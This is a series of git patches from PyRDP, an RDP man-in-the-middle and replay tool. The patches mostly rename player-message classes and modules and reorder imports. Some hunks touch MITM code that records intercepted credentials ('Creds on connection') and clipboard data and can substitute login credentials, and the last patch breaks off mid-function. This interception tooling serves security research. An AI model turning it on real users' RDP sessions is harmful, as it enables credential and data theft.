From 2928871d44d76e4688404ea7e65c41aa75433b30 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 11:55:57 -0400 Subject: [PATCH 001/113] Set the live connections tab as default --- pyrdp/player/MainWindow.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/player/MainWindow.py b/pyrdp/player/MainWindow.py index 5b4653845..6ee126689 100644 --- a/pyrdp/player/MainWindow.py +++ b/pyrdp/player/MainWindow.py @@ -27,8 +27,8 @@ def __init__(self, bind_address: str, port: int, filesToRead: [str]): self.replayWindow = ReplayWindow() self.tabManager = QTabWidget() - self.tabManager.addTab(self.replayWindow, "Replays") self.tabManager.addTab(self.liveWindow, "Live connections") + self.tabManager.addTab(self.replayWindow, "Replays") self.setCentralWidget(self.tabManager) openAction = QAction("Open...", self) From 49592d29a6fa87f3969bc77a499ab68e32f2c84e Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 13:39:33 -0400 Subject: [PATCH 002/113] Focus replay window and play button when loading a replay --- pyrdp/player/MainWindow.py | 1 + pyrdp/player/ReplayTab.py | 1 + 2 files changed, 2 insertions(+) diff --git a/pyrdp/player/MainWindow.py b/pyrdp/player/MainWindow.py index 6ee126689..cee18351b 100644 --- a/pyrdp/player/MainWindow.py +++ b/pyrdp/player/MainWindow.py @@ -47,4 +47,5 @@ def onOpenFile(self): fileName, _ = QFileDialog.getOpenFileName(self, "Open File") if fileName: + self.tabManager.setCurrentWidget(self.replayWindow) self.replayWindow.openFile(fileName) diff --git a/pyrdp/player/ReplayTab.py b/pyrdp/player/ReplayTab.py index 07ab39d33..e24877249 100644 --- a/pyrdp/player/ReplayTab.py +++ b/pyrdp/player/ReplayTab.py @@ -39,6 +39,7 @@ def __init__(self, fileName: str, parent: QWidget = None): self.controlBar.pause.connect(self.thread.pause) self.controlBar.seek.connect(self.thread.seek) self.controlBar.speedChanged.connect(self.thread.setSpeed) + self.controlBar.button.setDefault(True) self.layout().insertWidget(0, self.controlBar) From 8d3a2ca76ae403906e732e92cca59ae95231966d Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 14:39:44 -0400 Subject: [PATCH 003/113] Move PlayerMessageType to player.py --- pyrdp/enum/__init__.py | 1 + pyrdp/enum/player.py | 15 +++++++++++++++ pyrdp/enum/rdp.py | 14 -------------- pyrdp/layer/recording.py | 5 ++--- pyrdp/parser/__init__.py | 9 +++++---- pyrdp/recording/recorder.py | 7 +++---- 6 files changed, 26 insertions(+), 25 deletions(-) create mode 100644 pyrdp/enum/player.py diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index 86a34ae09..e4b7fe5ff 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -8,6 +8,7 @@ from pyrdp.enum.gcc import GCCPDUType from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType +from pyrdp.enum.player import PlayerMessageType from pyrdp.enum.rdp import * from pyrdp.enum.segmentation import SegmentationPDUType from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py new file mode 100644 index 000000000..2932b3d28 --- /dev/null +++ b/pyrdp/enum/player.py @@ -0,0 +1,15 @@ +from enum import IntEnum + + +class PlayerMessageType(IntEnum): + """ + Types of events that we can encounter when replaying a RDP connection. + """ + + FAST_PATH_INPUT = 1 # Ex: scancode, mouse + FAST_PATH_OUTPUT = 2 # Ex: image + CLIENT_INFO = 3 # Creds on connection + SLOW_PATH_PDU = 4 # For slow-path PDUs + CONNECTION_CLOSE = 5 # To advertise the end of the connection + CLIPBOARD_DATA = 6 # To collect clipboard data + CLIENT_DATA = 7 # Contains the clientName \ No newline at end of file diff --git a/pyrdp/enum/rdp.py b/pyrdp/enum/rdp.py index 8862520ea..7e09a4a58 100644 --- a/pyrdp/enum/rdp.py +++ b/pyrdp/enum/rdp.py @@ -751,20 +751,6 @@ class PointerEventType(IntEnum): TS_PTRMSGTYPE_POINTER = 0x0008 -class PlayerMessageType(IntEnum): - """ - Types of events that we can encounter when replaying a RDP connection. - """ - - FAST_PATH_INPUT = 1 # Ex: scancode, mouse - FAST_PATH_OUTPUT = 2 # Ex: image - CLIENT_INFO = 3 # Creds on connection - SLOW_PATH_PDU = 4 # For slow-path PDUs - CONNECTION_CLOSE = 5 # To advertise the end of the connection - CLIPBOARD_DATA = 6 # To collect clipboard data - CLIENT_DATA = 7 # Contains the clientName - - class ChannelOption(IntFlag): """ https://msdn.microsoft.com/en-us/library/cc240513.aspx diff --git a/pyrdp/layer/recording.py b/pyrdp/layer/recording.py index 945d664e6..30cc7c7e2 100644 --- a/pyrdp/layer/recording.py +++ b/pyrdp/layer/recording.py @@ -6,9 +6,8 @@ from pyrdp.core import ObservedBy from pyrdp.enum import PlayerMessageType -from pyrdp.layer import BufferedLayer -from pyrdp.layer.layer import Layer, LayerRoutedObserver -from pyrdp.parser.recording import PlayerMessageParser +from pyrdp.layer import BufferedLayer, LayerRoutedObserver +from pyrdp.parser import PlayerMessageParser from pyrdp.pdu import PlayerMessagePDU diff --git a/pyrdp/parser/__init__.py b/pyrdp/parser/__init__.py index 1561a3dc3..f1ff2ce3f 100644 --- a/pyrdp/parser/__init__.py +++ b/pyrdp/parser/__init__.py @@ -7,20 +7,21 @@ from pyrdp.parser.gcc import GCCParser from pyrdp.parser.mcs import MCSParser from pyrdp.parser.parser import Parser -from pyrdp.parser.rdp.client_info import ClientInfoParser from pyrdp.parser.rdp.bitmap import BitmapParser +from pyrdp.parser.rdp.client_info import ClientInfoParser from pyrdp.parser.rdp.connection import ClientConnectionParser, ServerConnectionParser -from pyrdp.parser.rdp.slowpath import SlowPathParser -from pyrdp.parser.rdp.fastpath import createFastPathParser, BasicFastPathParser, FIPSFastPathParser, \ - FastPathInputParser, FastPathOutputParser, SignedFastPathParser +from pyrdp.parser.rdp.fastpath import BasicFastPathParser, createFastPathParser, FastPathInputParser, \ + FastPathOutputParser, FIPSFastPathParser, SignedFastPathParser from pyrdp.parser.rdp.input import SlowPathInputParser from pyrdp.parser.rdp.licensing import LicensingParser from pyrdp.parser.rdp.negotiation import NegotiationRequestParser, NegotiationResponseParser from pyrdp.parser.rdp.pointer import PointerEventParser from pyrdp.parser.rdp.security import BasicSecurityParser, FIPSSecurityParser, SignedSecurityParser +from pyrdp.parser.rdp.slowpath import SlowPathParser from pyrdp.parser.rdp.virtual_channel.clipboard import ClipboardParser from pyrdp.parser.rdp.virtual_channel.device_redirection import DeviceRedirectionParser from pyrdp.parser.rdp.virtual_channel.virtual_channel import VirtualChannelParser +from pyrdp.parser.recording import PlayerMessageParser from pyrdp.parser.segmentation import SegmentationParser from pyrdp.parser.tpkt import TPKTParser from pyrdp.parser.x224 import X224Parser diff --git a/pyrdp/recording/recorder.py b/pyrdp/recording/recorder.py index 788a218fc..e0c10a5c1 100644 --- a/pyrdp/recording/recorder.py +++ b/pyrdp/recording/recorder.py @@ -9,11 +9,10 @@ from typing import Dict, List, Optional, Union from pyrdp.enum import ParserMode, PlayerMessageType -from pyrdp.layer import PlayerMessageLayer, TPKTLayer -from pyrdp.layer.layer import LayerChainItem +from pyrdp.layer import LayerChainItem, PlayerMessageLayer from pyrdp.logging import log -from pyrdp.parser import BasicFastPathParser, ClientInfoParser, ClipboardParser, Parser, SlowPathParser -from pyrdp.parser.rdp.connection import ClientConnectionParser +from pyrdp.parser import BasicFastPathParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, Parser, \ + SlowPathParser from pyrdp.pdu import PDU From 07712aab15d94b63d2adabd4cc81e5a8ed0c2339 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 14:57:59 -0400 Subject: [PATCH 004/113] Rename layer/recording.py to player.py --- pyrdp/layer/__init__.py | 19 +++++++++---------- pyrdp/layer/{recording.py => player.py} | 0 pyrdp/parser/recording.py | 2 +- 3 files changed, 10 insertions(+), 11 deletions(-) rename pyrdp/layer/{recording.py => player.py} (100%) diff --git a/pyrdp/layer/__init__.py b/pyrdp/layer/__init__.py index 733b675aa..0a34fc1c4 100644 --- a/pyrdp/layer/__init__.py +++ b/pyrdp/layer/__init__.py @@ -5,19 +5,18 @@ # from pyrdp.layer.buffered import BufferedLayer -from pyrdp.layer.layer import Layer, LayerChainItem, IntermediateLayer, LayerObserver, LayerRoutedObserver, LayerStrictRoutedObserver +from pyrdp.layer.layer import IntermediateLayer, Layer, LayerChainItem, LayerObserver, LayerRoutedObserver, \ + LayerStrictRoutedObserver from pyrdp.layer.mcs import MCSLayer, MCSObserver +from pyrdp.layer.player import PlayerMessageLayer, PlayerMessageObserver from pyrdp.layer.raw import RawLayer -from pyrdp.layer.recording import PlayerMessageLayer, PlayerMessageObserver -from pyrdp.layer.segmentation import SegmentationLayer, SegmentationObserver -from pyrdp.layer.tcp import TCPObserver, TwistedTCPLayer, AsyncIOTCPLayer -from pyrdp.layer.tpkt import TPKTLayer -from pyrdp.layer.x224 import X224Observer, X224Layer - -from pyrdp.layer.rdp.slowpath import SlowPathObserver, SlowPathLayer from pyrdp.layer.rdp.fastpath import FastPathLayer, FastPathObserver -from pyrdp.layer.rdp.security import SecurityObserver, SecurityLayer, TLSSecurityLayer - +from pyrdp.layer.rdp.security import SecurityLayer, SecurityObserver, TLSSecurityLayer +from pyrdp.layer.rdp.slowpath import SlowPathLayer, SlowPathObserver from pyrdp.layer.rdp.virtual_channel.clipboard import ClipboardLayer from pyrdp.layer.rdp.virtual_channel.device_redirection import DeviceRedirectionLayer from pyrdp.layer.rdp.virtual_channel.virtual_channel import VirtualChannelLayer +from pyrdp.layer.segmentation import SegmentationLayer, SegmentationObserver +from pyrdp.layer.tcp import AsyncIOTCPLayer, TCPObserver, TwistedTCPLayer +from pyrdp.layer.tpkt import TPKTLayer +from pyrdp.layer.x224 import X224Layer, X224Observer diff --git a/pyrdp/layer/recording.py b/pyrdp/layer/player.py similarity index 100% rename from pyrdp/layer/recording.py rename to pyrdp/layer/player.py diff --git a/pyrdp/parser/recording.py b/pyrdp/parser/recording.py index 07a367652..70686ac0b 100644 --- a/pyrdp/parser/recording.py +++ b/pyrdp/parser/recording.py @@ -2,7 +2,7 @@ from pyrdp.core import Uint16LE, Uint64LE from pyrdp.enum import PlayerMessageType -from pyrdp.parser import SegmentationParser +from pyrdp.parser.segmentation import SegmentationParser from pyrdp.pdu import PlayerMessagePDU From c42a49c0d910518b8955e80f9083da53520818d0 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 15:01:48 -0400 Subject: [PATCH 005/113] Rename parser/recording.py to player.py --- pyrdp/parser/__init__.py | 2 +- pyrdp/parser/{recording.py => player.py} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename pyrdp/parser/{recording.py => player.py} (100%) diff --git a/pyrdp/parser/__init__.py b/pyrdp/parser/__init__.py index f1ff2ce3f..170873a14 100644 --- a/pyrdp/parser/__init__.py +++ b/pyrdp/parser/__init__.py @@ -7,6 +7,7 @@ from pyrdp.parser.gcc import GCCParser from pyrdp.parser.mcs import MCSParser from pyrdp.parser.parser import Parser +from pyrdp.parser.player import PlayerMessageParser from pyrdp.parser.rdp.bitmap import BitmapParser from pyrdp.parser.rdp.client_info import ClientInfoParser from pyrdp.parser.rdp.connection import ClientConnectionParser, ServerConnectionParser @@ -21,7 +22,6 @@ from pyrdp.parser.rdp.virtual_channel.clipboard import ClipboardParser from pyrdp.parser.rdp.virtual_channel.device_redirection import DeviceRedirectionParser from pyrdp.parser.rdp.virtual_channel.virtual_channel import VirtualChannelParser -from pyrdp.parser.recording import PlayerMessageParser from pyrdp.parser.segmentation import SegmentationParser from pyrdp.parser.tpkt import TPKTParser from pyrdp.parser.x224 import X224Parser diff --git a/pyrdp/parser/recording.py b/pyrdp/parser/player.py similarity index 100% rename from pyrdp/parser/recording.py rename to pyrdp/parser/player.py From a2f25dc960422b6f30a2ad8bfa178a38e7ea4ce4 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 15:03:03 -0400 Subject: [PATCH 006/113] Rename pdu/recording.py to player.py --- pyrdp/pdu/__init__.py | 2 +- pyrdp/pdu/{recording.py => player.py} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename pyrdp/pdu/{recording.py => player.py} (100%) diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 11cd0f29b..68fef608d 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,6 +9,7 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU +from pyrdp.pdu.player import PlayerMessagePDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ @@ -42,7 +43,6 @@ DeviceRedirectionCapability, DeviceRedirectionClientCapabilitiesPDU, DeviceRedirectionGeneralCapability, \ DeviceRedirectionPDU, DeviceRedirectionServerCapabilitiesPDU from pyrdp.pdu.rdp.virtual_channel.virtual_channel import VirtualChannelPDU -from pyrdp.pdu.recording import PlayerMessagePDU from pyrdp.pdu.segmentation import SegmentationPDU from pyrdp.pdu.tpkt import TPKTPDU from pyrdp.pdu.x224 import X224ConnectionConfirmPDU, X224ConnectionRequestPDU, X224DataPDU, X224DisconnectRequestPDU, \ diff --git a/pyrdp/pdu/recording.py b/pyrdp/pdu/player.py similarity index 100% rename from pyrdp/pdu/recording.py rename to pyrdp/pdu/player.py From 0311efb0c1832c9a0547a41eae1579543286ac66 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 15:40:31 -0400 Subject: [PATCH 007/113] Use setPrevious to avoid overriding the next layer of the transport --- pyrdp/recording/recorder.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pyrdp/recording/recorder.py b/pyrdp/recording/recorder.py index e0c10a5c1..2d8ac7e8c 100644 --- a/pyrdp/recording/recorder.py +++ b/pyrdp/recording/recorder.py @@ -40,8 +40,7 @@ def __init__(self, transports: List[LayerChainItem]): def addTransport(self, transportLayer: LayerChainItem): player = PlayerMessageLayer() - - LayerChainItem.chain(transportLayer, player) + player.setPrevious(transportLayer) self.topLayers.append(player) def setParser(self, messageType: PlayerMessageType, parser: Parser): From 2260e52e08113b891e92cfcc58ac4d34a55258db Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 21 Mar 2019 16:49:56 -0400 Subject: [PATCH 008/113] Rename PlayerMessage -> Player --- pyrdp/enum/__init__.py | 2 +- pyrdp/enum/player.py | 2 +- pyrdp/layer/__init__.py | 2 +- pyrdp/layer/player.py | 46 +++++++++---------- pyrdp/mitm/ClipboardMITM.py | 4 +- pyrdp/mitm/MCSMITM.py | 4 +- pyrdp/mitm/SecurityMITM.py | 4 +- pyrdp/mitm/TCPMITM.py | 6 +-- pyrdp/mitm/mitm.py | 6 +-- pyrdp/parser/__init__.py | 2 +- pyrdp/parser/player.py | 14 +++--- pyrdp/pdu/__init__.py | 2 +- pyrdp/pdu/player.py | 6 +-- pyrdp/player/LiveTab.py | 8 ++-- ...ayerMessageHandler.py => PlayerHandler.py} | 20 ++++---- pyrdp/player/Replay.py | 8 ++-- pyrdp/player/ReplayTab.py | 8 ++-- pyrdp/player/__init__.py | 2 +- pyrdp/recording/observer.py | 6 +-- pyrdp/recording/recorder.py | 24 +++++----- 20 files changed, 88 insertions(+), 88 deletions(-) rename pyrdp/player/{PlayerMessageHandler.py => PlayerHandler.py} (93%) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index e4b7fe5ff..ac1bd5f9d 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -8,7 +8,7 @@ from pyrdp.enum.gcc import GCCPDUType from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType -from pyrdp.enum.player import PlayerMessageType +from pyrdp.enum.player import PlayerPDUType from pyrdp.enum.rdp import * from pyrdp.enum.segmentation import SegmentationPDUType from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index 2932b3d28..0fbb33109 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -1,7 +1,7 @@ from enum import IntEnum -class PlayerMessageType(IntEnum): +class PlayerPDUType(IntEnum): """ Types of events that we can encounter when replaying a RDP connection. """ diff --git a/pyrdp/layer/__init__.py b/pyrdp/layer/__init__.py index 0a34fc1c4..6daa34f82 100644 --- a/pyrdp/layer/__init__.py +++ b/pyrdp/layer/__init__.py @@ -8,7 +8,7 @@ from pyrdp.layer.layer import IntermediateLayer, Layer, LayerChainItem, LayerObserver, LayerRoutedObserver, \ LayerStrictRoutedObserver from pyrdp.layer.mcs import MCSLayer, MCSObserver -from pyrdp.layer.player import PlayerMessageLayer, PlayerMessageObserver +from pyrdp.layer.player import PlayerLayer, PlayerObserver from pyrdp.layer.raw import RawLayer from pyrdp.layer.rdp.fastpath import FastPathLayer, FastPathObserver from pyrdp.layer.rdp.security import SecurityLayer, SecurityObserver, TLSSecurityLayer diff --git a/pyrdp/layer/player.py b/pyrdp/layer/player.py index 30cc7c7e2..eb012b7d1 100644 --- a/pyrdp/layer/player.py +++ b/pyrdp/layer/player.py @@ -5,57 +5,57 @@ # from pyrdp.core import ObservedBy -from pyrdp.enum import PlayerMessageType +from pyrdp.enum import PlayerPDUType from pyrdp.layer import BufferedLayer, LayerRoutedObserver -from pyrdp.parser import PlayerMessageParser -from pyrdp.pdu import PlayerMessagePDU +from pyrdp.parser import PlayerParser +from pyrdp.pdu import PlayerPDU -class PlayerMessageObserver(LayerRoutedObserver): +class PlayerObserver(LayerRoutedObserver): def __init__(self, **kwargs): LayerRoutedObserver.__init__(self, { - PlayerMessageType.CONNECTION_CLOSE: "onConnectionClose", - PlayerMessageType.CLIENT_INFO: "onClientInfo", - PlayerMessageType.SLOW_PATH_PDU: "onSlowPathPDU", - PlayerMessageType.FAST_PATH_INPUT: "onInput", - PlayerMessageType.FAST_PATH_OUTPUT: "onOutput", - PlayerMessageType.CLIPBOARD_DATA: "onClipboardData", - PlayerMessageType.CLIENT_DATA: "onClientData" + PlayerPDUType.CONNECTION_CLOSE: "onConnectionClose", + PlayerPDUType.CLIENT_INFO: "onClientInfo", + PlayerPDUType.SLOW_PATH_PDU: "onSlowPathPDU", + PlayerPDUType.FAST_PATH_INPUT: "onInput", + PlayerPDUType.FAST_PATH_OUTPUT: "onOutput", + PlayerPDUType.CLIPBOARD_DATA: "onClipboardData", + PlayerPDUType.CLIENT_DATA: "onClientData" }, **kwargs) - def onConnectionClose(self, pdu: PlayerMessagePDU): + def onConnectionClose(self, pdu: PlayerPDU): raise NotImplementedError() - def onClientInfo(self, pdu: PlayerMessagePDU): + def onClientInfo(self, pdu: PlayerPDU): raise NotImplementedError() - def onSlowPathPDU(self, pdu: PlayerMessagePDU): + def onSlowPathPDU(self, pdu: PlayerPDU): raise NotImplementedError() - def onInput(self, pdu: PlayerMessagePDU): + def onInput(self, pdu: PlayerPDU): raise NotImplementedError() - def onOutput(self, pdu: PlayerMessagePDU): + def onOutput(self, pdu: PlayerPDU): raise NotImplementedError() - def onClipboardData(self, pdu: PlayerMessagePDU): + def onClipboardData(self, pdu: PlayerPDU): raise NotImplementedError() - def onClientData(self, pdu: PlayerMessagePDU): + def onClientData(self, pdu: PlayerPDU): raise NotImplementedError() -@ObservedBy(PlayerMessageObserver) -class PlayerMessageLayer(BufferedLayer): +@ObservedBy(PlayerObserver) +class PlayerLayer(BufferedLayer): """ Layer to manage the encapsulation of Player metadata such as event timestamp and event type/origin (input, output). """ - def __init__(self, parser: PlayerMessageParser = PlayerMessageParser()): + def __init__(self, parser: PlayerParser = PlayerParser()): super().__init__(parser) - def sendMessage(self, data: bytes, messageType: PlayerMessageType, timeStamp: int): - pdu = PlayerMessagePDU(messageType, timeStamp, data) + def sendMessage(self, data: bytes, messageType: PlayerPDUType, timeStamp: int): + pdu = PlayerPDU(messageType, timeStamp, data) self.sendPDU(pdu) diff --git a/pyrdp/mitm/ClipboardMITM.py b/pyrdp/mitm/ClipboardMITM.py index bc91b3dcf..5dbc6d8f5 100644 --- a/pyrdp/mitm/ClipboardMITM.py +++ b/pyrdp/mitm/ClipboardMITM.py @@ -7,7 +7,7 @@ from logging import LoggerAdapter from pyrdp.core import decodeUTF16LE -from pyrdp.enum import ClipboardFormatNumber, ClipboardMessageFlags, ClipboardMessageType, PlayerMessageType +from pyrdp.enum import ClipboardFormatNumber, ClipboardMessageFlags, ClipboardMessageType, PlayerPDUType from pyrdp.layer import ClipboardLayer from pyrdp.pdu import ClipboardPDU, FormatDataRequestPDU, FormatDataResponsePDU from pyrdp.recording import Recorder @@ -61,7 +61,7 @@ def handlePDU(self, pdu: ClipboardPDU, destination: ClipboardLayer): if pdu.msgFlags == ClipboardMessageFlags.CB_RESPONSE_OK: clipboardData = self.decodeClipboardData(pdu.requestedFormatData) self.log.info("Clipboard data: %(clipboardData)r", {"clipboardData": clipboardData}) - self.recorder.record(pdu, PlayerMessageType.CLIPBOARD_DATA) + self.recorder.record(pdu, PlayerPDUType.CLIPBOARD_DATA) self.forwardNextDataResponse = True diff --git a/pyrdp/mitm/MCSMITM.py b/pyrdp/mitm/MCSMITM.py index 7566eb8ab..835b48bca 100644 --- a/pyrdp/mitm/MCSMITM.py +++ b/pyrdp/mitm/MCSMITM.py @@ -7,7 +7,7 @@ from typing import Callable, Dict from pyrdp.enum import ClientCapabilityFlag, EncryptionLevel, EncryptionMethod, HighColorDepth, MCSChannelName, \ - PlayerMessageType, SupportedColorDepth + PlayerPDUType, SupportedColorDepth from pyrdp.layer import MCSLayer from pyrdp.mcs import MCSClientChannel, MCSServerChannel from pyrdp.mitm.state import RDPMITMState @@ -98,7 +98,7 @@ def onConnectInitial(self, pdu: MCSConnectInitialPDU): rdpClientDataPDU.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_WANT_32BPP_SESSION - self.recorder.record(rdpClientDataPDU, PlayerMessageType.CLIENT_DATA) + self.recorder.record(rdpClientDataPDU, PlayerPDUType.CLIENT_DATA) if rdpClientDataPDU.networkData: self.state.channelDefinitions = rdpClientDataPDU.networkData.channelDefinitions diff --git a/pyrdp/mitm/SecurityMITM.py b/pyrdp/mitm/SecurityMITM.py index f26e4fcf0..1c8e3abea 100644 --- a/pyrdp/mitm/SecurityMITM.py +++ b/pyrdp/mitm/SecurityMITM.py @@ -7,7 +7,7 @@ from logging import LoggerAdapter from pyrdp.core import decodeUTF16LE -from pyrdp.enum import ClientInfoFlags, PlayerMessageType +from pyrdp.enum import ClientInfoFlags, PlayerPDUType from pyrdp.layer import SecurityLayer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.state import RDPMITMState @@ -75,7 +75,7 @@ def onClientInfo(self, data: bytes): "clientAddress": clientAddress }) - self.recorder.record(pdu, PlayerMessageType.CLIENT_INFO) + self.recorder.record(pdu, PlayerPDUType.CLIENT_INFO) # If set, replace the provided username and password to connect the user regardless of # the credentials they entered. diff --git a/pyrdp/mitm/TCPMITM.py b/pyrdp/mitm/TCPMITM.py index d19db531b..c2b90fdcd 100644 --- a/pyrdp/mitm/TCPMITM.py +++ b/pyrdp/mitm/TCPMITM.py @@ -7,7 +7,7 @@ from logging import LoggerAdapter from typing import Coroutine -from pyrdp.enum import PlayerMessageType +from pyrdp.enum import PlayerPDUType from pyrdp.layer import TwistedTCPLayer from pyrdp.recording import Recorder @@ -70,7 +70,7 @@ def onClientDisconnection(self, reason): :param reason: reason for disconnection """ - self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE) + self.recorder.record(None, PlayerPDUType.CONNECTION_CLOSE) self.log.info("Client connection closed. %(reason)s", {"reason": reason.value}) self.serverConnector.close() self.server.disconnect(True) @@ -91,7 +91,7 @@ def onServerDisconnection(self, reason): :param reason: reason for disconnection """ - self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE) + self.recorder.record(None, PlayerPDUType.CONNECTION_CLOSE) self.log.info("Server connection closed. %(reason)s", {"reason": reason.value}) self.client.disconnect(True) diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index cfd0ed985..3b901096d 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -12,7 +12,7 @@ from pyrdp.core import AwaitableClientFactory from pyrdp.core.ssl import ClientTLSContext, ServerTLSContext -from pyrdp.enum import MCSChannelName, ParserMode, PlayerMessageType, SegmentationPDUType +from pyrdp.enum import MCSChannelName, ParserMode, PlayerPDUType, SegmentationPDUType from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, TwistedTCPLayer, \ VirtualChannelLayer from pyrdp.logging import RC4LoggingObserver @@ -218,11 +218,11 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.client.security.addObserver(SecurityLogger(self.getClientLog("security"))) self.client.fastPath.addObserver(FastPathLogger(self.getClientLog("fastpath"))) - self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_INPUT)) + self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_INPUT)) self.server.security.addObserver(SecurityLogger(self.getServerLog("security"))) self.server.fastPath.addObserver(FastPathLogger(self.getServerLog("fastpath"))) - self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_OUTPUT)) + self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_OUTPUT)) self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder) self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath) diff --git a/pyrdp/parser/__init__.py b/pyrdp/parser/__init__.py index 170873a14..71e94460f 100644 --- a/pyrdp/parser/__init__.py +++ b/pyrdp/parser/__init__.py @@ -7,7 +7,7 @@ from pyrdp.parser.gcc import GCCParser from pyrdp.parser.mcs import MCSParser from pyrdp.parser.parser import Parser -from pyrdp.parser.player import PlayerMessageParser +from pyrdp.parser.player import PlayerParser from pyrdp.parser.rdp.bitmap import BitmapParser from pyrdp.parser.rdp.client_info import ClientInfoParser from pyrdp.parser.rdp.connection import ClientConnectionParser, ServerConnectionParser diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 70686ac0b..c3720a4c6 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -1,23 +1,23 @@ from io import BytesIO from pyrdp.core import Uint16LE, Uint64LE -from pyrdp.enum import PlayerMessageType +from pyrdp.enum import PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import PlayerMessagePDU +from pyrdp.pdu import PlayerPDU -class PlayerMessageParser(SegmentationParser): - def parse(self, data: bytes) -> PlayerMessagePDU: +class PlayerParser(SegmentationParser): + def parse(self, data: bytes) -> PlayerPDU: stream = BytesIO(data) length = Uint64LE.unpack(stream) - type = PlayerMessageType(Uint16LE.unpack(stream)) + type = PlayerPDUType(Uint16LE.unpack(stream)) timestamp = Uint64LE.unpack(stream) payload = stream.read(length - 18) - return PlayerMessagePDU(type, timestamp, payload) + return PlayerPDU(type, timestamp, payload) - def write(self, pdu: PlayerMessagePDU) -> bytes: + def write(self, pdu: PlayerPDU) -> bytes: stream = BytesIO() # 18 bytes of header + the payload diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 68fef608d..0541e0694 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,7 +9,7 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerMessagePDU +from pyrdp.pdu.player import PlayerPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index cb9bee3ec..9ce108eb3 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -4,17 +4,17 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import PlayerMessageType +from pyrdp.enum import PlayerPDUType from pyrdp.pdu.pdu import PDU -class PlayerMessagePDU(PDU): +class PlayerPDU(PDU): """ PDU to encapsulate different types (ex: input, output, creds) for (re)play purposes. Also contains a timestamp. """ - def __init__(self, header: PlayerMessageType, timestamp: int, payload: bytes): + def __init__(self, header: PlayerPDUType, timestamp: int, payload: bytes): 